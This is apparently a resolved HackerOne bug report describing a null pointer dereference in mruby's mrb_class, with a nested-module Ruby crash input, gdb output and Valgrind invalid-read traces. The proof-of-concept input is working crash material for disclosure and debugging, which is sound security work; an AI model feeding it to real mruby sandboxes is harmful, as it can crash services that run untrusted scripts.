Null pointer dereference in mrb_class
Low
Vulnerability Details
The following code demonstrates a segfault in mruby and mruby-engine:
module A module A
ensure
module A module A module A module A
ensure
module A module A module A module A module A module A
a
ensure
module A
yield
end
end end end end end end
end end end end
end end
The mruby crash is due to a null pointer dereference in `mrb_class` (class.h:50):
49│ default:
50├> return mrb_obj_ptr(v)->c;
51│ }
(gdb) print mrb_obj_ptr(v)
$1 = (struct RObject *) 0x0
(gdb) print v
$2 = {value = {f = 0, p = 0x0, i = 0, sym = 0}, tt = 49}
The sandbox crash happens during a call to KHASH_DEFINE (class.c:19). Examining the assembly suggests the crash happens when trying to dereference the rsi register:
(gdb) x/i $rip
=> 0x7ffff402f490 <kh_get_mt>: mov eax,DWORD PTR [rsi]
(gdb) p $rsi
$4 = 32
Examining mruby with Valgrind shows two invalid reads on the following line (vm.c:1867):
if (mrb_nil_p(stack[m1+r+m2])) {
Valgrind output:
==11371== Invalid read of size 4
==11371== at 0x41FCEB: mrb_vm_exec (vm.c:1867)
==11371== by 0x41B684: mrb_vm_run (vm.c:822)
==11371== by 0x42386C: mrb_run (vm.c:2570)
==11371== by 0x419D40: ecall (vm.c:314)
==11371== by 0x41EEF2: mrb_vm_exec (vm.c:1651)
==11371== by 0x41B684: mrb_vm_run (vm.c:822)
==11371== by 0x42386C: mrb_run (vm.c:2570)
==11371== by 0x419D40: ecall (vm.c:314)
==11371== by 0x41CAD1: mrb_vm_exec (vm.c:1132)
==11371== by 0x41B684: mrb_vm_run (vm.c:822)
==11371== by 0x42386C: mrb_run (vm.c:2570)
==11371== by 0x419D40: ecall (vm.c:314)
==11371== Address 0x56271f8 is 8 bytes after a block of size 16 alloc'd
==11371== at 0x4C2AB80: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==11371== by 0x4C2CF1F: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==11371== by 0x40F300: mrb_default_allocf (state.c:60)
==11371== by 0x428156: mrb_realloc_simple (gc.c:201)
==11371== by 0x4281D8: mrb_realloc (gc.c:215)
==11371== by 0x4282A4: mrb_malloc (gc.c:236)
==11371== by 0x419A8A: mrb_env_unshare (vm.c:259)
==11371== by 0x419B33: cipop (vm.c:278)
==11371== by 0x41ED8E: mrb_vm_exec (vm.c:1624)
==11371== by 0x41B684: mrb_vm_run (vm.c:822)
==11371== by 0x42386C: mrb_run (vm.c:2570)
==11371== by 0x419D40: ecall (vm.c:314)
==11371==
==11371== Invalid read of size 4
==11371== at 0x41FD1B: mrb_vm_exec (vm.c:1867)
==11371== by 0x41B684: mrb_vm_run (vm.c:822)
==11371== by 0x42386C: mrb_run (vm.c:2570)
==11371== by 0x419D40: ecall (vm.c:314)
==11371== by 0x41EEF2: mrb_vm_exec (vm.c:1651)
==11371== by 0x41B684: mrb_vm_run (vm.c:822)
==11371== by 0x42386C: mrb_run (vm.c:2570)
==11371== by 0x419D40: ecall (vm.c:314)
==11371== by 0x41CAD1: mrb_vm_exec (vm.c:1132)
==11371== by 0x41B684: mrb_vm_run (vm.c:822)
==11371== by 0x42386C: mrb_run (vm.c:2570)
==11371== by 0x419D40: ecall (vm.c:314)
==11371== Address 0x56271f0 is 0 bytes after a block of size 16 alloc'd
==11371== at 0x4C2AB80: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==11371== by 0x4C2CF1F: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==11371== by 0x40F300: mrb_default_allocf (state.c:60)
==11371== by 0x428156: mrb_realloc_simple (gc.c:201)
==11371== by 0x4281D8: mrb_realloc (gc.c:215)
==11371== by 0x4282A4: mrb_malloc (gc.c:236)
==11371== by 0x419A8A: mrb_env_unshare (vm.c:259)
==11371== by 0x419B33: cipop (vm.c:278)
==11371== by 0x41ED8E: mrb_vm_exec (vm.c:1624)
==11371== by 0x41B684: mrb_vm_run (vm.c:822)
==11371== by 0x42386C: mrb_run (vm.c:2570)
==11371== by 0x419D40: ecall (vm.c:314)
==11371==
trace:
[15] crash_input:9
[14] crash_input:8
[12] crash_input:5
[11] crash_input:5
[10] crash_input:5
[9] crash_input:5
[8] crash_input:5
[6] crash_input:3
[5] crash_input:3
[4] crash_input:3
[3] crash_input:3
[1] crash_input:1
[0] crash_input:1
LocalJumpError: unexpected yield
==11371==
==11371== HEAP SUMMARY:
==11371== in use at exit: 0 bytes in 0 blocks
==11371== total heap usage: 4,735 allocs, 4,735 frees, 872,977 bytes allocated
==11371==
==11371== All heap blocks were freed -- no leaks are possible
==11371==
==11371== For counts of detected and suppressed errors, rerun with: -v
==11371== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)
As `m1`, `r` and `m2` are all 0 during the invalid reads, it seems `stack` is pointing beyond allocated memory. Note that running with Valgrind appears to change the behaviour of the program: it does not result in a segfault, raising a LocalJumpError instead.
We are still examining the bug and hope to provide a fix soon.
Test platform:
Linux Mint 17.3 (Cinnamon 64-bit), built with gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3)
mruby-engine SHA: 09be20e67888b20bebf9b0588bc3cbec7f55325f
mruby/mruby submodule SHA: 63dbed00946afda34178a479cfa38fa78d620a00
Thank you,
Dinko Galetic
Denis Kasak
Actions
View on HackerOneReport Stats
- Report ID: 212107
- State: Closed
- Substate: resolved
- Upvotes: 2